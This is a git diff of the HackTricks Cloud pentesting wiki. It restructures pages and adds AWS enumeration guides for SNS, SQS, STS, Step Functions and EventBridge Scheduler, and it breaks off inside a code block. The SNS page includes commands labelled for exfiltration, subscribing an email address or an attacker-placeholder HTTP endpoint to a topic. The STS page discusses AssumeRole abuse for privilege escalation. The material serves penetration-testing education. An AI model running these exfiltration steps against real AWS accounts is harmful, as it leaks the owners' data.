-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-sns-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-sns-enum.md
new file mode 100644
index 000000000..01467ee06
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-sns-enum.md
@@ -0,0 +1,79 @@
+# AWS - SNS Enum
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+## SNS
+
+Amazon Simple Notification Service (Amazon SNS) is described as a **fully managed messaging service**. It supports both **application-to-application** (A2A) and **application-to-person** (A2P) communication types.
+
+Key features for A2A communication include **publish/subscribe (pub/sub) mechanisms**. These mechanisms introduce **topics**, crucial for enabling high-throughput, **push-based, many-to-many messaging**. This feature is highly advantageous in scenarios that involve distributed systems, microservices, and event-driven serverless architectures. By leveraging these topics, publisher systems can efficiently distribute messages to a **wide range of subscriber systems**, facilitating a fanout messaging pattern.
+
+### **Difference with SQS**
+
+**SQS** is a **queue-based** service that allows point-to-point communication, ensuring that messages are processed by a **single consumer**. It offers **at-least-once delivery**, supports standard and FIFO queues, and allows message retention for retries and delayed processing.\
+On the other hand, **SNS** is a **publish/subscribe-based service**, enabling **one-to-many** communication by broadcasting messages to **multiple subscribers** simultaneously. It supports **various subscription endpoints like email, SMS, Lambda functions, and HTTP/HTTPS**, and provides filtering mechanisms for targeted message delivery.\
+While both services enable decoupling between components in distributed systems, SQS focuses on queued communication, and SNS emphasizes event-driven, fan-out communication patterns.
+
+### **Enumeration**
+
+```bash
+# Get topics & subscriptions
+aws sns list-topics
+aws sns list-subscriptions
+aws sns list-subscriptions-by-topic --topic-arn <arn>
+
+# Check privescs & post-exploitation
+aws sns publish --region <region> \
+    --topic-arn "arn:aws:sns:us-west-2:123456789012:my-topic" \
+    --message file://message.txt
+
+# Exfiltrate through email
+## You will receive an email to confirm the subscription
+aws sns subscribe --region <region> \
+    --topic-arn arn:aws:sns:us-west-2:123456789012:my-topic \
+    --protocol email \
+    --notification-endpoint my-email@example.com
+
+# Exfiltrate through web server
+## You will receive an initial request with a URL in the field "SubscribeURL"
+## that you need to access to confirm the subscription
+aws sns subscribe --region <region>\
+    --protocol http \
+    --notification-endpoint http://<attacker>/ \
+    --topic-arn <arn>
+```
+
+> [!CAUTION]
+> Note that if the **topic is of type FIFO**, only subscribers using the protocol **SQS** can be used (HTTP or HTTPS cannot be used).
+>
+> Also, even if the `--topic-arn` contains the region make sure you specify the correct region in **`--region`** or you will get an error that looks like indicate that you don't have access but the problem is the region.
+
+#### Unauthenticated Access
+
+{{#ref}}
+../aws-unauthenticated-enum-access/aws-sns-unauthenticated-enum.md
+{{#endref}}
+
+#### Privilege Escalation
+
+{{#ref}}
+../aws-privilege-escalation/aws-sns-privesc.md
+{{#endref}}
+
+#### Post Exploitation
+
+{{#ref}}
+../aws-post-exploitation/aws-sns-post-exploitation.md
+{{#endref}}
+
+#### Persistence
+
+{{#ref}}
+../aws-persistence/aws-sns-persistence.md
+{{#endref}}
+
+## References
+
+- [https://aws.amazon.com/about-aws/whats-new/2022/01/amazon-sns-attribute-based-access-controls/](https://aws.amazon.com/about-aws/whats-new/2022/01/amazon-sns-attribute-based-access-controls/)
+
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-sqs-and-sns-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-sqs-and-sns-enum.md
new file mode 100644
index 000000000..63770cd06
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-sqs-and-sns-enum.md
@@ -0,0 +1,53 @@
+# AWS - SQS Enum
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+## SQS
+
+Amazon Simple Queue Service (SQS) is presented as a **fully managed message queuing service**. Its main function is to assist in the scaling and decoupling of microservices, distributed systems, and serverless applications. The service is designed to remove the need for managing and operating message-oriented middleware, which can often be complex and resource-intensive. This elimination of complexity allows developers to direct their efforts towards more innovative and differentiating aspects of their work.
+
+### Enumeration
+
+```bash
+# Get queues info
+aws sqs list-queues
+aws sqs get-queue-attributes --queue-url <url> --attribute-names All
+
+# More about this in privesc & post-exploitation
+aws sqs receive-message --queue-url <value>
+
+aws sqs send-message --queue-url <value> --message-body <value>
+```
+
+> [!CAUTION]
+> Also, even if the `--queue-url` contains the region make sure you specify the correct region in **`--region`** or you will get an error that looks like indicate that you don't have access but the problem is the region.
+
+#### Unauthenticated Access
+
+{{#ref}}
+../aws-unauthenticated-enum-access/aws-sqs-unauthenticated-enum.md
+{{#endref}}
+
+#### Privilege Escalation
+
+{{#ref}}
+../aws-privilege-escalation/aws-sqs-privesc.md
+{{#endref}}
+
+#### Post Exploitation
+
+{{#ref}}
+../aws-post-exploitation/aws-sqs-post-exploitation.md
+{{#endref}}
+
+#### Persistence
+
+{{#ref}}
+../aws-persistence/aws-sqs-persistence.md
+{{#endref}}
+
+## References
+
+- https://docs.aws.amazon.com/cdk/api/v2/python/aws\_cdk.aws\_sqs/README.html
+
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/pentesting-cloud/aws-security/aws-services/aws-stepfunctions-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-stepfunctions-enum.md
similarity index 56%
rename from pentesting-cloud/aws-security/aws-services/aws-stepfunctions-enum.md
rename to src/pentesting-cloud/aws-security/aws-services/aws-stepfunctions-enum.md
index 1ca042e36..c5c6ed131 100644
--- a/pentesting-cloud/aws-security/aws-services/aws-stepfunctions-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-stepfunctions-enum.md
@@ -1,19 +1,6 @@
 # AWS - Step Functions Enum
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
 
 ## Step Functions
 
@@ -25,33 +12,33 @@ AWS Step Functions is a workflow service that enables you to coordinate and orch
 
 AWS Step Functions offers two types of **state machine workflows**: Standard and Express.
 
-* **Standard Workflow**: This default workflow type is designed for long-running, durable, and auditable processes. It supports **exactly-once execution**, ensuring tasks run only once unless retries are specified. It is ideal for workflows needing detailed execution history and can run for up to one year.
-* **Express Workflow**: This type is ideal for high-volume, short-duration tasks, running up to five minutes. They support **at-least-once execution**, suitable for idempotent tasks like data processing. These workflows are optimized for cost and performance, charging based on executions, duration, and memory usage.
+- **Standard Workflow**: This default workflow type is designed for long-running, durable, and auditable processes. It supports **exactly-once execution**, ensuring tasks run only once unless retries are specified. It is ideal for workflows needing detailed execution history and can run for up to one year.
+- **Express Workflow**: This type is ideal for high-volume, short-duration tasks, running up to five minutes. They support **at-least-once execution**, suitable for idempotent tasks like data processing. These workflows are optimized for cost and performance, charging based on executions, duration, and memory usage.
 
 ### States
 
 States are the essential units of state machines. They define the individual steps within a workflow, being able to perform a variety of functions depending on its type:
 
-* **Task:** Executes a job, often using an AWS service like Lambda.
-* **Choice:** Makes decisions based on input.
-* **Fail/Succeed:** Ends the execution with a failure or success.
-* **Pass:** Passes input to output or injects data.
-* **Wait:** Delays execution for a set time.
-* **Parallel:** Initiates parallel branches.
-* **Map:** Dynamically iterates steps over items.
+- **Task:** Executes a job, often using an AWS service like Lambda.
+- **Choice:** Makes decisions based on input.
+- **Fail/Succeed:** Ends the execution with a failure or success.
+- **Pass:** Passes input to output or injects data.
+- **Wait:** Delays execution for a set time.
+- **Parallel:** Initiates parallel branches.
+- **Map:** Dynamically iterates steps over items.
 
 ### Task
 
 A **Task** state represents a single unit of work executed by a state machine. Tasks can invoke various resources, including activities, Lambda functions, AWS services, or third-party APIs.
 
-* **Activities**: Custom workers you manage, suitable for long-running processes.
-  * Resource: **`arn:aws:states:region:account:activity:name`**.
-* **Lambda Functions**: Executes AWS Lambda functions.
-  * Resource: **`arn:aws:lambda:region:account:function:function-name`**.
-* **AWS Services**: Integrates directly with other AWS services, like DynamoDB or S3.
-  * Resource: **`arn:partition:states:region:account:servicename:APIname`**.
-* **HTTP Task**: Calls third-party APIs.
-  * Resource field: **`arn:aws:states:::http:invoke`**. Then, you should provide the API endpoint configuration details, such as the API URL, method, and authentication details.
+- **Activities**: Custom workers you manage, suitable for long-running processes.
+  - Resource: **`arn:aws:states:region:account:activity:name`**.
+- **Lambda Functions**: Executes AWS Lambda functions.
+  - Resource: **`arn:aws:lambda:region:account:function:function-name`**.
+- **AWS Services**: Integrates directly with other AWS services, like DynamoDB or S3.
+  - Resource: **`arn:partition:states:region:account:servicename:APIname`**.
+- **HTTP Task**: Calls third-party APIs.
+  - Resource field: **`arn:aws:states:::http:invoke`**. Then, you should provide the API endpoint configuration details, such as the API URL, method, and authentication details.
 
 The following example shows a Task state definition that invokes a Lambda function called HelloWorld:
 
@@ -71,8 +58,8 @@ The following example shows a Task state definition that invokes a Lambda functi
 
 A **Choice** state adds conditional logic to a workflow, enabling decisions based on input data. It evaluates the specified conditions and transitions to the corresponding state based on the results.
 
-* **Comparison**: Each choice rule includes a comparison operator (e.g., **`NumericEquals`**, **`StringEquals`**) that compares an input variable to a specified value or another variable.
-* **Next Field**: Choice states do not support don't support the **`End`** field, instead, they define the **`Next`** state to transition to if the comparison is true.
+- **Comparison**: Each choice rule includes a comparison operator (e.g., **`NumericEquals`**, **`StringEquals`**) that compares an input variable to a specified value or another variable.
+- **Next Field**: Choice states do not support don't support the **`End`** field, instead, they define the **`Next`** state to transition to if the comparison is true.
 
 Example of **Choice** state:
 
@@ -90,8 +77,9 @@ A **`Fail`** state stops the execution of a state machine and marks it as a fail
 
 A **`Succeed`** state stops the execution successfully. It is typically used to terminate the workflow when it completes successfully. This state does not require a **`Next`** field.
 
-{% tabs %}
-{% tab title="Fail example" %}
+{{#tabs }}
+{{#tab name="Fail example" }}
+
 ```json
 "FailState": {
   "Type": "Fail",
@@ -99,16 +87,19 @@ A **`Succeed`** state stops the execution successfully. It is typically used to
   "Cause": "Error details"
 }
 ```
-{% endtab %}
 
-{% tab title="Succeed example" %}
+{{#endtab }}
+
+{{#tab name="Succeed example" }}
+
 ```json
 "SuccessState": {
   "Type": "Succeed"
 }
 ```
-{% endtab %}
-{% endtabs %}
+
+{{#endtab }}
+{{#endtabs }}
 
 ### Pass
 
@@ -127,42 +118,44 @@ A **Pass** state passes its input to its output either without performing any wo
 
 A **Wait** state delays the execution of the state machine for a specified duration. There are three primary methods to configure the wait time:
 
-*   **X Seconds**: A fixed number of seconds to wait.
+- **X Seconds**: A fixed number of seconds to wait.
 
-    ```json
-    "WaitState": { 
-    	"Type": "Wait",
-    	"Seconds": 10,
-    	"Next": "NextState"
-    }
-    ```
-*   **Absolute Timestamp**: An exact time to wait until.
+  ```json
+  "WaitState": {
+  	"Type": "Wait",
+  	"Seconds": 10,
+  	"Next": "NextState"
+  }
+  ```
 
-    ```json
-    "WaitState": {
-      "Type": "Wait",
-      "Timestamp": "2024-03-14T01:59:00Z",
-      "Next": "NextState"
-    }
-    ```
-*   **Dynamic Wait**: Based on input using **`SecondsPath`** or **`TimestampPath`**.
+- **Absolute Timestamp**: An exact time to wait until.
 
-    ```json
-    jsonCopiar código
-    "WaitState": {
-      "Type": "Wait",
-      "TimestampPath": "$.expirydate",
-      "Next": "NextState"
-    }
-    ```
+  ```json
+  "WaitState": {
+    "Type": "Wait",
+    "Timestamp": "2024-03-14T01:59:00Z",
+    "Next": "NextState"
+  }
+  ```
+
+- **Dynamic Wait**: Based on input using **`SecondsPath`** or **`TimestampPath`**.
+
+  ```json
+  jsonCopiar código
+  "WaitState": {
+    "Type": "Wait",
+    "TimestampPath": "$.expirydate",
+    "Next": "NextState"
+  }
+  ```
 
 ### Parallel
 
 A **Parallel** state allows you to execute multiple branches of tasks concurrently within your workflow. Each branch runs independently and processes its own sequence of states. The execution waits until all branches complete before proceeding to the next state. Its key fields are:
 
-* **Branches**: An array defining the parallel execution paths. Each branch is a separate state machine.
-* **ResultPath**: Defines where (in the input) to place the combined output of the branches.
-* **Retry and Catch**: Error handling configurations for the parallel state.
+- **Branches**: An array defining the parallel execution paths. Each branch is a separate state machine.
+- **ResultPath**: Defines where (in the input) to place the combined output of the branches.
+- **Retry and Catch**: Error handling configurations for the parallel state.
 
 ```json
 "ParallelState": {
@@ -185,77 +178,78 @@ A **Parallel** state allows you to execute multiple branches of tasks concurrent
 
 A **Map** state enables the execution of a set of steps for each item in an dataset. It's used for parallel processing of data. Depending on how you want to process the items of the dataset, Step Functions provides the following modes:
 
-*   **Inline Mode**: Executes a subset of states for each JSON array item. Suitable for small-scale tasks with less than 40 parallel iterations, running each of them in the context of the workflow that contains the **`Map`** state.
+- **Inline Mode**: Executes a subset of states for each JSON array item. Suitable for small-scale tasks with less than 40 parallel iterations, running each of them in the context of the workflow that contains the **`Map`** state.
 
-    ```json
-    "MapState": {
-      "Type": "Map",
-      "ItemsPath": "$.arrayItems",
-      "ItemProcessor": {
-          "ProcessorConfig": {
-              "Mode": "INLINE"
-          },
-          "StartAt": "AddState",
-          "States": {
-              "AddState": {
-                  "Type": "Task",
-                  "Resource": "arn:aws:states:::lambda:invoke",
-                  "OutputPath": "$.Payload",
-                  "Parameters": {
-                      "FunctionName": "arn:aws:lambda:<region>:<account-id>:function:add-function"
-                  },
-                  "End": true
-              }
-          }
-      },
-      "End": true
-      "ResultPath": "$.detail.added",
-      "ItemsPath": "$.added"
-    }
-    ```
-*   **Distributed Mode**: Designed for large-scale parallel processing with high concurrency. Supports processing large datasets, such as those stored in Amazon S3, enabling a high concurrency of up 10,000 parallel child workflow executions, running these child as a separate child execution.
-
-    ```json
-    "DistributedMapState": {
-      "Type": "Map",
-      "ItemReader": {
-        "Resource": "arn:aws:states:::s3:getObject",
-        "Parameters": {
-          "Bucket": "my-bucket",
-          "Key": "data.csv"
-        }
-      },
-      "ItemProcessor": {
+  ```json
+  "MapState": {
+    "Type": "Map",
+    "ItemsPath": "$.arrayItems",
+    "ItemProcessor": {
         "ProcessorConfig": {
-          "Mode": "DISTRIBUTED",
-          "ExecutionType": "EXPRESS"
+            "Mode": "INLINE"
         },
-        "StartAt": "ProcessItem",
+        "StartAt": "AddState",
         "States": {
-          "ProcessItem": {
-            "Type": "Task",
-            "Resource": "arn:aws:lambda:region:account-id:function:my-function",
-            "End": true
-    	    }
+            "AddState": {
+                "Type": "Task",
+                "Resource": "arn:aws:states:::lambda:invoke",
+                "OutputPath": "$.Payload",
+                "Parameters": {
+                    "FunctionName": "arn:aws:lambda:<region>:<account-id>:function:add-function"
+                },
+                "End": true
+            }
         }
+    },
+    "End": true
+    "ResultPath": "$.detail.added",
+    "ItemsPath": "$.added"
+  }
+  ```
+
+- **Distributed Mode**: Designed for large-scale parallel processing with high concurrency. Supports processing large datasets, such as those stored in Amazon S3, enabling a high concurrency of up 10,000 parallel child workflow executions, running these child as a separate child execution.
+
+  ```json
+  "DistributedMapState": {
+    "Type": "Map",
+    "ItemReader": {
+      "Resource": "arn:aws:states:::s3:getObject",
+      "Parameters": {
+        "Bucket": "my-bucket",
+        "Key": "data.csv"
+      }
+    },
+    "ItemProcessor": {
+      "ProcessorConfig": {
+        "Mode": "DISTRIBUTED",
+        "ExecutionType": "EXPRESS"
       },
-      "End": true
-      "ResultWriter": {
-        "Resource": "arn:aws:states:::s3:putObject",
-        "Parameters": {
-          "Bucket": "myOutputBucket",
-          "Prefix": "csvProcessJobs"
-    	  }
-    	}
-    }
-    ```
+      "StartAt": "ProcessItem",
+      "States": {
+        "ProcessItem": {
+          "Type": "Task",
+          "Resource": "arn:aws:lambda:region:account-id:function:my-function",
+          "End": true
+  	    }
+      }
+    },
+    "End": true
+    "ResultWriter": {
+      "Resource": "arn:aws:states:::s3:putObject",
+      "Parameters": {
+        "Bucket": "myOutputBucket",
+        "Prefix": "csvProcessJobs"
+  	  }
+  	}
+  }
+  ```
 
 ### Versions and aliases
 
 Step Functions also lets you manage workflow deployments through **versions** and **aliases** of state machines. A version represents a snapshot of a state machine that can be executed. Aliases serve as pointers to up to two versions of a state machine.
 
-* **Versions**: These immutable snapshots of a state machine are created from the most recent revision of that state machine. Each version is identified by a unique ARN that combines the state machine ARN with the version number, separated by a colon (**`arn:aws:states:region:account-id:stateMachine:StateMachineName:version-number`**). Versions cannot be edited, but you can update the state machine and publish a new version, or use the desired state machine version.
-* **Aliases**: These pointers can reference up to two versions of the same state machine. Multiple aliases can be created for a single state machine, each identified by a unique ARN constructed by combining the state machine ARN with the alias name, separated by a colon (**`arn:aws:states:region:account-id:stateMachine:StateMachineName:aliasName`**). Aliases enable routing of traffic between one of the two versions of a state machine. Alternatively, an alias can point to a single specific version of the state machine, but not to other aliases. They can be updated to redirect to a different version of the state machine as needed, facilitating controlled deployments and workflow management.
+- **Versions**: These immutable snapshots of a state machine are created from the most recent revision of that state machine. Each version is identified by a unique ARN that combines the state machine ARN with the version number, separated by a colon (**`arn:aws:states:region:account-id:stateMachine:StateMachineName:version-number`**). Versions cannot be edited, but you can update the state machine and publish a new version, or use the desired state machine version.
+- **Aliases**: These pointers can reference up to two versions of the same state machine. Multiple aliases can be created for a single state machine, each identified by a unique ARN constructed by combining the state machine ARN with the alias name, separated by a colon (**`arn:aws:states:region:account-id:stateMachine:StateMachineName:aliasName`**). Aliases enable routing of traffic between one of the two versions of a state machine. Alternatively, an alias can point to a single specific version of the state machine, but not to other aliases. They can be updated to redirect to a different version of the state machine as needed, facilitating controlled deployments and workflow management.
 
 For more detailed information about **ASL**, check: [**Amazon States Language**](https://states-language.net/spec.html).
 
@@ -263,8 +257,8 @@ For more detailed information about **ASL**, check: [**Amazon States Language**]
 
 AWS Step Functions utilizes AWS Identity and Access Management (IAM) roles to control access to resources and actions within state machines. Here are the key aspects related to security and IAM roles in AWS Step Functions:
 
-* **Execution Role**: Each state machine in AWS Step Functions is associated with an IAM execution role. This role defines what actions the state machine can perform on your behalf. When a state machine transitions between states that interact with AWS services (like invoking Lambda functions, accessing DynamoDB, etc.), it assumes this execution role to carry out those actions.
-* **Permissions**: The IAM execution role must be configured with permissions that allow the necessary actions on other AWS services. For example, if your state machine needs to invoke AWS Lambda functions, the IAM role must have **`lambda:InvokeFunction`** permissions. Similarly, if it needs to write to DynamoDB, appropriate permissions (**`dynamodb:PutItem`**, **`dynamodb:UpdateItem`**, etc.) must be granted.
+- **Execution Role**: Each state machine in AWS Step Functions is associated with an IAM execution role. This role defines what actions the state machine can perform on your behalf. When a state machine transitions between states that interact with AWS services (like invoking Lambda functions, accessing DynamoDB, etc.), it assumes this execution role to carry out those actions.
+- **Permissions**: The IAM execution role must be configured with permissions that allow the necessary actions on other AWS services. For example, if your state machine needs to invoke AWS Lambda functions, the IAM role must have **`lambda:InvokeFunction`** permissions. Similarly, if it needs to write to DynamoDB, appropriate permissions (**`dynamodb:PutItem`**, **`dynamodb:UpdateItem`**, etc.) must be granted.
 
 ## Enumeration
 
@@ -278,14 +272,14 @@ aws stepfunctions list-state-machines
 ## Retrieve informatio about the specified state machine
 aws stepfunctions describe-state-machine --state-machine-arn <value>
 
-## List versions for the specified state machine 
+## List versions for the specified state machine
 aws stepfunctions list-state-machine-versions --state-machine-arn <value>
 ## List aliases for the specified state machine
 aws stepfunctions list-state-machine-aliases --state-machine-arn <value>
 ## Retrieve information about the specified state machine alias
 aws stepfunctions describe-state-machine-alias --state-machine-alias-arn <value>
 
-## List executions of a state machine 
+## List executions of a state machine
 aws stepfunctions list-executions --state-machine-arn <value> [--status-filter <RUNNING | SUCCEEDED | FAILED | TIMED_OUT | ABORTED | PENDING_REDRIVE>] [--redrive-filter <REDRIVEN | NOT_REDRIVEN>]
 ## Retrieve information and relevant metadata about a state machine execution (output included)
 aws stepfunctions describe-execution --execution-arn <value>
@@ -321,39 +315,26 @@ aws stepfunctions list-executions --map-run-arn <value> [--status-filter <RUNNIN
 
 In the following page, you can check how to **abuse Step Functions permissions to escalate privileges**:
 
-{% content-ref url="../aws-privilege-escalation/aws-stepfunctions-privesc.md" %}
-[aws-stepfunctions-privesc.md](../aws-privilege-escalation/aws-stepfunctions-privesc.md)
-{% endcontent-ref %}
+{{#ref}}
+../aws-privilege-escalation/aws-stepfunctions-privesc.md
+{{#endref}}
 
 ## Post Exploitation
 
-{% content-ref url="../aws-post-exploitation/aws-stepfunctions-post-exploitation.md" %}
-[aws-stepfunctions-post-exploitation.md](../aws-post-exploitation/aws-stepfunctions-post-exploitation.md)
-{% endcontent-ref %}
+{{#ref}}
+../aws-post-exploitation/aws-stepfunctions-post-exploitation.md
+{{#endref}}
 
 ## Persistence
 
-{% content-ref url="../aws-persistence/aws-step-functions-persistence.md" %}
-[aws-step-functions-persistence.md](../aws-persistence/aws-step-functions-persistence.md)
-{% endcontent-ref %}
+{{#ref}}
+../aws-persistence/aws-step-functions-persistence.md
+{{#endref}}
 
 ## References
 
-* [https://docs.aws.amazon.com/service-authorization/latest/reference/list\_awsstepfunctions.html](https://docs.aws.amazon.com/service-authorization/latest/reference/list_awsstepfunctions.html)
-* [https://docs.aws.amazon.com/step-functions/latest/dg/welcome.html](https://docs.aws.amazon.com/step-functions/latest/dg/welcome.html)
-* [https://states-language.net/spec.html](https://states-language.net/spec.html)
+- [https://docs.aws.amazon.com/service-authorization/latest/reference/list_awsstepfunctions.html](https://docs.aws.amazon.com/service-authorization/latest/reference/list_awsstepfunctions.html)
+- [https://docs.aws.amazon.com/step-functions/latest/dg/welcome.html](https://docs.aws.amazon.com/step-functions/latest/dg/welcome.html)
+- [https://states-language.net/spec.html](https://states-language.net/spec.html)
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-sts-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-sts-enum.md
new file mode 100644
index 000000000..7e73f30ea
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-sts-enum.md
@@ -0,0 +1,100 @@
+# AWS - STS Enum
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+## STS
+
+**AWS Security Token Service (STS)** is primarily designed to issue **temporary, limited-privilege credentials**. These credentials can be requested for **AWS Identity and Access Management (IAM)** users or for authenticated users (federated users).
+
+Given that STS's purpose is to **issue credentials for identity impersonation**, the service is immensely valuable for **escalating privileges and maintaining persistence**, even though it might not have a wide array of options.
+
+### Assume Role Impersonation
+
+The action [AssumeRole](https://docs.aws.amazon.com/STS/latest/APIReference/API_AssumeRole.html) provided by AWS STS is crucial as it permits a principal to acquire credentials for another principal, essentially impersonating them. Upon invocation, it responds with an access key ID, a secret key, and a session token corresponding to the specified ARN.
+
+For Penetration Testers or Red Team members, this technique is instrumental for privilege escalation (as elaborated [**here**](../aws-privilege-escalation/aws-sts-privesc.md#sts-assumerole)). However, it's worth noting that this technique is quite conspicuous and may not catch an attacker off guard.
+
+#### Assume Role Logic
+
+In order to assume a role in the same account if the **role to assume is allowing specifically a role ARN** like in:
+
+```json
+{
+  "Version": "2012-10-17",
+  "Statement": [
+    {
+      "Effect": "Allow",
+      "Principal": {
+        "AWS": "arn:aws:iam::<acc_id>:role/priv-role"
+      },
+      "Action": "sts:AssumeRole",
+      "Condition": {}
+    }
+  ]
+}
+```
+
+The role **`priv-role`** in this case, **doesn't need to be specifically allowed** to assume that role (with that allowance is enough).
+
+However, if a role is allowing an account to assume it, like in:
+
+```json
+{
+  "Version": "2012-10-17",
+  "Statement": [
+    {
+      "Effect": "Allow",
+      "Principal": {
+        "AWS": "arn:aws:iam::<acc_id>:root"
+      },
+      "Action": "sts:AssumeRole",
+      "Condition": {}
+    }
+  ]
+}
+```
+
+The role trying to assume it will need a **specific `sts:AssumeRole` permission** over that role **to assume it**.
+
+If you try to assume a **role** **from a different account**, the **assumed role must allow it** (indicating the role **ARN** or the **external account**), and the **role trying to assume** the other one **MUST** to h**ave permissions to assume it** (in this case this isn't optional even if the assumed role is specifying an ARN).
+
+### Enumeration
+
+```bash
+# Get basic info of the creds
+aws sts get-caller-identity
+aws sts get-access-key-info --access-key-id <AccessKeyID>
+
+# Get CLI a session token with current creds
+## Using CLI creds
+## You cannot get session creds using session creds
+aws sts get-session-token
+## MFA
+aws sts get-session-token --serial-number <arn_device> --token-code <otp_code>
+```
+
+### Privesc
+
+In the following page you can check how to **abuse STS permissions to escalate privileges**:
+
+{{#ref}}
+../aws-privilege-escalation/aws-sts-privesc.md
+{{#endref}}
+
+### Post Exploitation
+
+{{#ref}}
+../aws-post-exploitation/aws-sts-post-exploitation.md
+{{#endref}}
+
+### Persistence
+
+{{#ref}}
+../aws-persistence/aws-sts-persistence.md
+{{#endref}}
+
+## References
+
+- [https://blog.christophetd.fr/retrieving-aws-security-credentials-from-the-aws-console/?utm_source=pocket_mylist](https://blog.christophetd.fr/retrieving-aws-security-credentials-from-the-aws-console/?utm_source=pocket_mylist)
+
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-services/eventbridgescheduler-enum.md b/src/pentesting-cloud/aws-security/aws-services/eventbridgescheduler-enum.md
new file mode 100644
index 000000000..3be49d173
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-services/eventbridgescheduler-enum.md
@@ -0,0 +1,81 @@
+# AWS - EventBridge Scheduler Enum
+
+## EventBridge Scheduler
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+## EventBridge Scheduler
+
+**Amazon EventBridge Scheduler** is a fully managed, **serverless scheduler designed to create, run, and manage tasks** at scale. It enables you to schedule millions of tasks across over 270 AWS services and 6,000+ API operations, all from a central service. With built-in reliability and no infrastructure to manage, EventBridge Scheduler simplifies scheduling, reduces maintenance costs, and scales automatically to meet demand. You can configure cron or rate expressions for recurring schedules, set one-time invocations, and define flexible delivery windows with retry options, ensuring tasks are reliably delivered based on the availability of downstream targets.
+
+There is an initial limit of 1,000,000 schedules per region per account. Even the official quotas page suggests, "It's recommended to delete one-time schedules once they've completed."&#x20;
+
+### Types of Schedules
+
+Types of Schedules in EventBridge Scheduler:
+
+1. **One-time schedules** – Execute a task at a specific time, e.g., December 21st at 7 AM UTC.
+2. **Rate-based schedules** – Set recurring tasks based on a frequency, e.g., every 2 hours.
+3. **Cron-based schedules** – Set recurring tasks using a cron expression, e.g., every Friday at 4 PM.
+
+Two Mechanisms for Handling Failed Events:
+
+1. **Retry Policy** – Defines the number of retry attempts for a failed event and how long to keep it unprocessed before considering it a failure.
+2. **Dead-Letter Queue (DLQ)** – A standard Amazon SQS queue where failed events are delivered after retries are exhausted. DLQs help in troubleshooting issues with your schedule or its downstream target.
+
+### Targets
+
+There are 2 types of targets for a scheduler [**templated (docs)**](https://docs.aws.amazon.com/scheduler/latest/UserGuide/managing-targets-templated.html), which are commonly used and AWS made them easier to configure, and [**universal (docs)**](https://docs.aws.amazon.com/scheduler/latest/UserGuide/managing-targets-universal.html), which can be used to call any AWS API.
+
+**Templated targets** support the following services:
+
+- CodeBuild – StartBuild
+- CodePipeline – StartPipelineExecution
+- Amazon ECS – RunTask
+  - Parameters: EcsParameters
+- EventBridge – PutEvents
+  - Parameters: EventBridgeParameters
+- Amazon Inspector – StartAssessmentRun
+- Kinesis – PutRecord
+  - Parameters: KinesisParameters
+- Firehose – PutRecord
+- Lambda – Invoke
+- SageMaker – StartPipelineExecution
+  - Parameters: SageMakerPipelineParameters
+- Amazon SNS – Publish
+- Amazon SQS – SendMessage
+  - Parameters: SqsParameters
+- Step Functions – StartExecution
+
+### Enumeration
+
+```bash
+# List all EventBridge Scheduler schedules
